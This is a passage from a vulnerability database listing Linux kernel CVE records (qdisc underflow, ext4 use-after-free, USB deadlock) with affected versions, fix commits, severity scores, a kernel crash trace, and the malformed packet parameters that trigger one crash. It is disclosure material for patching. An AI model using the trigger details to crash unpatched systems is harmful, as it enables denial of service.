0000000000000000 [ 70.724561] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000001 [ 70.724561] RBP: ffff95ae85e6fbf8 R08: 0000000000000000 R09: ffff95b710a30000 [ 70.724561] R10: 0000000000000000 R11: bdf289445ce31881 R12: ffff95ae85e6fc58 [ 70.724561] R13: 0000000000000000 R14: 0000000000000040 R15: 0000000000000000 [ 70.724561] FS: 000000002c5c1380(0000) GS:ffff95bd7fcc0000(0000) knlGS:0000000000000000 [ 70.724561] CS: 0010 DS: 0000 ES: 0000 C ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/d70ca7598943572d5…
https://git.kernel.org/stable/c/1598d70ad9c7d0a4d…
https://git.kernel.org/stable/c/ba26060a29d3ca1bf…
https://git.kernel.org/stable/c/939c88cbdc668dadd…
https://git.kernel.org/stable/c/d6114993e0a89fde8…
https://git.kernel.org/stable/c/25ab0b87dbd89cece…
https://git.kernel.org/stable/c/f959cce8a2a04ce77…
https://git.kernel.org/stable/c/81fd007dcd47c3447…
https://git.kernel.org/stable/c/c20029db28399ecc5…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 960b360ca7463921c1a6b72e7066a706d6406223 , < d70ca7598943572d5e384227bd268acb5109bf72 (git) Affected: fb2dbc124a7f800cd0e4f901a1bbb769a017104c , < 1598d70ad9c7d0a4d9d54b82094e9f45908fda6d (git) Affected: 8e6bae950da9dc2d2c6c18b1c6b206dc00dc8772 , < ba26060a29d3ca1bfc737aa79f7125128f35147c (git) Affected: 0f810d06b507aa40fef8d1ac0a88e6d0590dbfc3 , < 939c88cbdc668dadd8cfa7a35d9066331239041c (git) Affected: cf9acc90c80ecbee00334aa85d92f4e74014bcff , < d6114993e0a89fde84a60a60a8329a571580b174 (git) Affected: cf9acc90c80ecbee00334aa85d92f4e74014bcff , < 25ab0b87dbd89cecef8a9c60a02bb97832e471d1 (git) Affected: cf9acc90c80ecbee00334aa85d92f4e74014bcff , < f959cce8a2a04ce776aa8b78e83ce339e0d7fbac (git) Affected: cf9acc90c80ecbee00334aa85d92f4e74014bcff , < 81fd007dcd47c34471766249853e4d4bce8eea4b (git) Affected: cf9acc90c80ecbee00334aa85d92f4e74014bcff , < c20029db28399ecc50e556964eaba75c43b1e2f1 (git) Affected: 2128303bff700c857739a0af8cc39c1a41840650 (git)
Linux	Linux	Affected: 5.16 Unaffected: 0 , < 5.16 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49949",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:36:39.259120Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:38:49.361Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:23:29.408Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:19.790Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/core/dev.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d70ca7598943572d5e384227bd268acb5109bf72",
              "status": "affected",
              "version": "960b360ca7463921c1a6b72e7066a706d6406223",
              "versionType": "git"
            },
            {
              "lessThan": "1598d70ad9c7d0a4d9d54b82094e9f45908fda6d",
              "status": "affected",
              "version": "fb2dbc124a7f800cd0e4f901a1bbb769a017104c",
              "versionType": "git"
            },
            {
              "lessThan": "ba26060a29d3ca1bfc737aa79f7125128f35147c",
              "status": "affected",
              "version": "8e6bae950da9dc2d2c6c18b1c6b206dc00dc8772",
              "versionType": "git"
            },
            {
              "lessThan": "939c88cbdc668dadd8cfa7a35d9066331239041c",
              "status": "affected",
              "version": "0f810d06b507aa40fef8d1ac0a88e6d0590dbfc3",
              "versionType": "git"
            },
            {
              "lessThan": "d6114993e0a89fde84a60a60a8329a571580b174",
              "status": "affected",
              "version": "cf9acc90c80ecbee00334aa85d92f4e74014bcff",
              "versionType": "git"
            },
            {
              "lessThan": "25ab0b87dbd89cecef8a9c60a02bb97832e471d1",
              "status": "affected",
              "version": "cf9acc90c80ecbee00334aa85d92f4e74014bcff",
              "versionType": "git"
            },
            {
              "lessThan": "f959cce8a2a04ce776aa8b78e83ce339e0d7fbac",
              "status": "affected",
              "version": "cf9acc90c80ecbee00334aa85d92f4e74014bcff",
              "versionType": "git"
            },
            {
              "lessThan": "81fd007dcd47c34471766249853e4d4bce8eea4b",
              "status": "affected",
              "version": "cf9acc90c80ecbee00334aa85d92f4e74014bcff",
              "versionType": "git"
            },
            {
              "lessThan": "c20029db28399ecc50e556964eaba75c43b1e2f1",
              "status": "affected",
              "version": "cf9acc90c80ecbee00334aa85d92f4e74014bcff",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "2128303bff700c857739a0af8cc39c1a41840650",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/core/dev.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.16"
            },
            {
              "lessThan": "5.16",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.19.218",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "5.4.162",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "5.10.82",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "5.15.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "5.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "5.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "5.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "5.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.256",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: avoid potential underflow in qdisc_pkt_len_init() with UFO\n\nAfter commit 7c6d2ecbda83 (\"net: be more gentle about silly gso\nrequests coming from user\") virtio_net_hdr_to_skb() had sanity check\nto detect malicious attempts from user space to cook a bad GSO packet.\n\nThen commit cf9acc90c80ec (\"net: virtio_net_hdr_to_skb: count\ntransport header in UFO\") while fixing one issue, allowed user space\nto cook a GSO packet with the following characteristic :\n\nIPv4 SKB_GSO_UDP, gso_size=3, skb-\u003elen = 28.\n\nWhen this packet arrives in qdisc_pkt_len_init(), we end up\nwith hdr_len = 28 (IPv4 header + UDP header), matching skb-\u003elen\n\nThen the following sets gso_segs to 0 :\n\ngso_segs = DIV_ROUND_UP(skb-\u003elen - hdr_len,\n                        shinfo-\u003egso_size);\n\nThen later we set qdisc_skb_cb(skb)-\u003epkt_len to back to zero :/\n\nqdisc_skb_cb(skb)-\u003epkt_len += (gso_segs - 1) * hdr_len;\n\nThis leads to the following crash in fq_codel [1]\n\nqdisc_pkt_len_init() is best effort, we only want an estimation\nof the bytes sent on the wire, not crashing the kernel.\n\nThis patch is fixing this particular issue, a following one\nadds more sanity checks for another potential bug.\n\n[1]\n[   70.724101] BUG: kernel NULL pointer dereference, address: 0000000000000000\n[   70.724561] #PF: supervisor read access in kernel mode\n[   70.724561] #PF: error_code(0x0000) - not-present page\n[   70.724561] PGD 10ac61067 P4D 10ac61067 PUD 107ee2067 PMD 0\n[   70.724561] Oops: Oops: 0000 [#1] SMP NOPTI\n[   70.724561] CPU: 11 UID: 0 PID: 2163 Comm: b358537762 Not tainted 6.11.0-virtme #991\n[   70.724561] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[   70.724561] RIP: 0010:fq_codel_enqueue (net/sched/sch_fq_codel.c:120 net/sched/sch_fq_codel.c:168 net/sched/sch_fq_codel.c:230) sch_fq_codel\n[ 70.724561] Code: 24 08 49 c1 e1 06 44 89 7c 24 18 45 31 ed 45 31 c0 31 ff 89 44 24 14 4c 03 8b 90 01 00 00 eb 04 39 ca 73 37 4d 8b 39 83 c7 01 \u003c49\u003e 8b 17 49 89 11 41 8b 57 28 45 8b 5f 34 49 c7 07 00 00 00 00 49\nAll code\n========\n   0:\t24 08                \tand    $0x8,%al\n   2:\t49 c1 e1 06          \tshl    $0x6,%r9\n   6:\t44 89 7c 24 18       \tmov    %r15d,0x18(%rsp)\n   b:\t45 31 ed             \txor    %r13d,%r13d\n   e:\t45 31 c0             \txor    %r8d,%r8d\n  11:\t31 ff                \txor    %edi,%edi\n  13:\t89 44 24 14          \tmov    %eax,0x14(%rsp)\n  17:\t4c 03 8b 90 01 00 00 \tadd    0x190(%rbx),%r9\n  1e:\teb 04                \tjmp    0x24\n  20:\t39 ca                \tcmp    %ecx,%edx\n  22:\t73 37                \tjae    0x5b\n  24:\t4d 8b 39             \tmov    (%r9),%r15\n  27:\t83 c7 01             \tadd    $0x1,%edi\n  2a:*\t49 8b 17             \tmov    (%r15),%rdx\t\t\u003c-- trapping instruction\n  2d:\t49 89 11             \tmov    %rdx,(%r9)\n  30:\t41 8b 57 28          \tmov    0x28(%r15),%edx\n  34:\t45 8b 5f 34          \tmov    0x34(%r15),%r11d\n  38:\t49 c7 07 00 00 00 00 \tmovq   $0x0,(%r15)\n  3f:\t49                   \trex.WB\n\nCode starting with the faulting instruction\n===========================================\n   0:\t49 8b 17             \tmov    (%r15),%rdx\n   3:\t49 89 11             \tmov    %rdx,(%r9)\n   6:\t41 8b 57 28          \tmov    0x28(%r15),%edx\n   a:\t45 8b 5f 34          \tmov    0x34(%r15),%r11d\n   e:\t49 c7 07 00 00 00 00 \tmovq   $0x0,(%r15)\n  15:\t49                   \trex.WB\n[   70.724561] RSP: 0018:ffff95ae85e6fb90 EFLAGS: 00000202\n[   70.724561] RAX: 0000000002000000 RBX: ffff95ae841de000 RCX: 0000000000000000\n[   70.724561] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000001\n[   70.724561] RBP: ffff95ae85e6fbf8 R08: 0000000000000000 R09: ffff95b710a30000\n[   70.724561] R10: 0000000000000000 R11: bdf289445ce31881 R12: ffff95ae85e6fc58\n[   70.724561] R13: 0000000000000000 R14: 0000000000000040 R15: 0000000000000000\n[   70.724561] FS:  000000002c5c1380(0000) GS:ffff95bd7fcc0000(0000) knlGS:0000000000000000\n[   70.724561] CS:  0010 DS: 0000 ES: 0000 C\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:42:39.548Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d70ca7598943572d5e384227bd268acb5109bf72"
        },
        {
          "url": "https://git.kernel.org/stable/c/1598d70ad9c7d0a4d9d54b82094e9f45908fda6d"
        },
        {
          "url": "https://git.kernel.org/stable/c/ba26060a29d3ca1bfc737aa79f7125128f35147c"
        },
        {
          "url": "https://git.kernel.org/stable/c/939c88cbdc668dadd8cfa7a35d9066331239041c"
        },
        {
          "url": "https://git.kernel.org/stable/c/d6114993e0a89fde84a60a60a8329a571580b174"
        },
        {
          "url": "https://git.kernel.org/stable/c/25ab0b87dbd89cecef8a9c60a02bb97832e471d1"
        },
        {
          "url": "https://git.kernel.org/stable/c/f959cce8a2a04ce776aa8b78e83ce339e0d7fbac"
        },
        {
          "url": "https://git.kernel.org/stable/c/81fd007dcd47c34471766249853e4d4bce8eea4b"
        },
        {
          "url": "https://git.kernel.org/stable/c/c20029db28399ecc50e556964eaba75c43b1e2f1"
        }
      ],
      "title": "net: avoid potential underflow in qdisc_pkt_len_init() with UFO",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49949",
    "datePublished": "2024-10-21T18:02:05.756Z",
    "dateReserved": "2024-10-21T12:17:06.046Z",
    "dateUpdated": "2026-05-12T11:59:19.790Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-45898 (GCVE-0-2023-45898)

Vulnerability from cvelistv5 – Published: 2023-10-16 00:00 – Updated: 2026-05-12 10:52

Summary

The Linux kernel before 6.5.4 has an es1 use-after-free in fs/ext4/extents_status.c, related to ext4_es_insert_extent.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

Assigner

mitre

References

5 references

URL	Tags
https://lore.kernel.org/lkml/aa03f191-445c-0d2e-d…
https://www.spinics.net/lists/stable-commits/msg3…
https://lkml.org/lkml/2023/8/13/477
https://github.com/torvalds/linux/commit/768d612f…
https://cdn.kernel.org/pub/linux/kernel/v6.x/Chan…

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T20:29:32.569Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lore.kernel.org/lkml/aa03f191-445c-0d2e-d6d7-0a3208d7df7a%40huawei.com/T/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://www.spinics.net/lists/stable-commits/msg317086.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lkml.org/lkml/2023/8/13/477"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://github.com/torvalds/linux/commit/768d612f79822d30a1e7d132a4d4b05337ce42ec"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.5.4"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2023-45898",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-04-23T13:26:18.979257Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-01T15:57:31.468Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:52:31.363Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Linux kernel before 6.5.4 has an es1 use-after-free in fs/ext4/extents_status.c, related to ext4_es_insert_extent."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-10-16T02:10:09.538Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://lore.kernel.org/lkml/aa03f191-445c-0d2e-d6d7-0a3208d7df7a%40huawei.com/T/"
        },
        {
          "url": "https://www.spinics.net/lists/stable-commits/msg317086.html"
        },
        {
          "url": "https://lkml.org/lkml/2023/8/13/477"
        },
        {
          "url": "https://github.com/torvalds/linux/commit/768d612f79822d30a1e7d132a4d4b05337ce42ec"
        },
        {
          "url": "https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.5.4"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2023-45898",
    "datePublished": "2023-10-16T00:00:00.000Z",
    "dateReserved": "2023-10-16T00:00:00.000Z",
    "dateUpdated": "2026-05-12T10:52:31.363Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26934 (GCVE-0-2024-26934)

Vulnerability from cvelistv5 – Published: 2024-05-01 05:17 – Updated: 2026-05-12 11:50

Title

USB: core: Fix deadlock in usb_deauthorize_interface()

Summary

In the Linux kernel, the following vulnerability has been resolved: USB: core: Fix deadlock in usb_deauthorize_interface() Among the attribute file callback routines in drivers/usb/core/sysfs.c, the interface_authorized_store() function is the only one which acquires a device lock on an ancestor device: It calls usb_deauthorize_interface(), which locks the interface's parent USB device. The will lead to deadlock if another process already owns that lock and tries to remove the interface, whether through a configuration change or because the device has been disconnected. As part of the removal procedure, device_del() waits for all ongoing sysfs attribute callbacks to complete. But usb_deauthorize_interface() can't complete until the device lock has been released, and the lock won't be released until the removal has finished. The mechanism provided by sysfs to prevent this kind of deadlock is to use the sysfs_break_active_protection() function, which tells sysfs not to wait for the attribute callback. Reported-and-tested by: Yue Sun <samsun1006219@gmail.com> Reported by: xingwei lee <xrivendell7@gmail.com>

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/8cbdd324b41528994…
https://git.kernel.org/stable/c/12d6a5681a0a5cecc…
https://git.kernel.org/stable/c/e451709573f8be904…
https://git.kernel.org/stable/c/1b175bc579f46520b…
https://git.kernel.org/stable/c/ab062fa3dc69aea88…
https://git.kernel.org/stable/c/122a06f1068bf5e39…
https://git.kernel.org/stable/c/dbdf66250d2d33e8b…
https://git.kernel.org/stable/c/07acf979da33c7213…
https://git.kernel.org/stable/c/80ba43e9f799cbdd8…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 310d2b4124c073a2057ef9d952d4d938e9b1dfd9 , < 8cbdd324b41528994027128207fae8100dff094f (git) Affected: 310d2b4124c073a2057ef9d952d4d938e9b1dfd9 , < 12d6a5681a0a5cecc2af7860f0a1613fa7c6e947 (git) Affected: 310d2b4124c073a2057ef9d952d4d938e9b1dfd9 , < e451709573f8be904a8a72d0775bf114d7c291d9 (git) Affected: 310d2b4124c073a2057ef9d952d4d938e9b1dfd9 , < 1b175bc579f46520b11ecda443bcd2ee4904f66a (git) Affected: 310d2b4124c073a2057ef9d952d4d938e9b1dfd9 , < ab062fa3dc69aea88fe62162c5881ba14b50ecc5 (git) Affected: 310d2b4124c073a2057ef9d952d4d938e9b1dfd9 , < 122a06f1068bf5e39089863f4f60b1f5d4273384 (git) Affected: 310d2b4124c073a2057ef9d952d4d938e9b1dfd9 , < dbdf66250d2d33e8b27352fcb901de79f3521057 (git) Affected: 310d2b4124c073a2057ef9d952d4d938e9b1dfd9 , < 07acf979da33c721357ff27129edf74c23c036c6 (git) Affected: 310d2b4124c073a2057ef9d952d4d938e9b1dfd9 , < 80ba43e9f799cbdd83842fc27db667289b3150f5 (git)
Linux	Linux	Affected: 4.4 Unaffected: 0 , < 4.4 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26934",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-10T18:35:35.947702Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-05T17:21:30.301Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.693Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
